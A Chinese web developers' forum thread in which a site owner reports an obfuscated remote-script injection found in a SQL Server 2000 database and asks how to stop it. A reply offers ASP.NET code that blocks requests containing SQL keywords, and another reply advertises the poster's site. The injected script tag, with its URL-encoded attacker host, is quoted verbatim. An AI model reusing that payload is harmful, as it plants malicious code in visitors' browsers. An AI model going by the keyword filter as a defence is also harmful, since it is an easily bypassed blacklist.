今天发现网站首页打开不正常,就检查原因,在SQL2000数据库里找到一些添加进的代码如下:
"></title><script src=http://%66%75%63%6B%75%75%2E%75%73/1.js></scr
--------------------------------
请问高手们,这个黑客如何把这个代码加到数据表里,又是如何预防?

解决方案 »

  1.   

    在Global.asax文件下面加入如下代码:void Application_BeginRequest(Object sender, EventArgs e) 
        { 
            StartProcessRequest();     }     #region SQL注入式攻击代码分析 
        ///  <summary> 
        /// 处理用户提交的请求 
        ///  </summary> 
        private void StartProcessRequest() 
        { 
            try 
            { 
                string getkeys = ""; 
                string sqlErrorPage = "../default.aspx";//转向的错误提示页面 
                if (System.Web.HttpContext.Current.Request.QueryString != null) 
                {                 for (int i = 0; i  < System.Web.HttpContext.Current.Request.QueryString.Count; i++) 
                    { 
                        getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i]; 
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys])) 
                        { 
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
                            System.Web.HttpContext.Current.Response.End(); 
                        } 
                    } 
                } 
                if (System.Web.HttpContext.Current.Request.Form != null) 
                { 
                    for (int i = 0; i  < System.Web.HttpContext.Current.Request.Form.Count; i++) 
                    { 
                        getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i]; 
                        if (getkeys == "__VIEWSTATE") continue; 
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys])) 
                        { 
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
                            System.Web.HttpContext.Current.Response.End(); 
                        } 
                    } 
                } 
            } 
            catch 
            { 
                // 错误处理: 处理用户提交信息! 
            } 
        } 
        ///  <summary> 
        /// 分析用户请求是否正常 
        ///  </summary> 
        ///  <param name="Str">传入用户提交数据 </param> 
        ///  <returns>返回是否含有SQL注入式攻击代码 </returns> 
        private bool ProcessSqlStr(string Str) 
        { 
            bool ReturnValue = true; 
            try 
            { 
                if (Str.Trim() != "") 
                { 
                    string SqlStr = "and ¦exec ¦insert ¦select ¦delete ¦update ¦count ¦* ¦chr ¦mid ¦master ¦truncate ¦char ¦declare";                 string[] anySqlStr = SqlStr.Split(' ¦'); 
                    foreach (string ss in anySqlStr) 
                    { 
                        if (Str.ToLower().IndexOf(ss) >= 0) 
                        { 
                            ReturnValue = false; 
                            break; 
                        } 
                    } 
                } 
            } 
            catch 
            { 
                ReturnValue = false; 
            } 
            return ReturnValue; 
        } 
        #endregion 
      

  2.   

    最近很多网站都中招了
    一定要检查Post和Get到服务器的数据是否包含有非法字符呐...
      

  3.   

    怎么黑客这么历害.这招也能用上.看来小弟的网站:
    www.51ttsou.com
    得小心了.
    此网站是小弟的处女作.纯asp.net2.0制作.
    大批量数据处理.每天增加几千条数据.欢迎兄弟访问.
    www.51ttsou.com
    提出保贵建议.
    在线QQ交流:459988370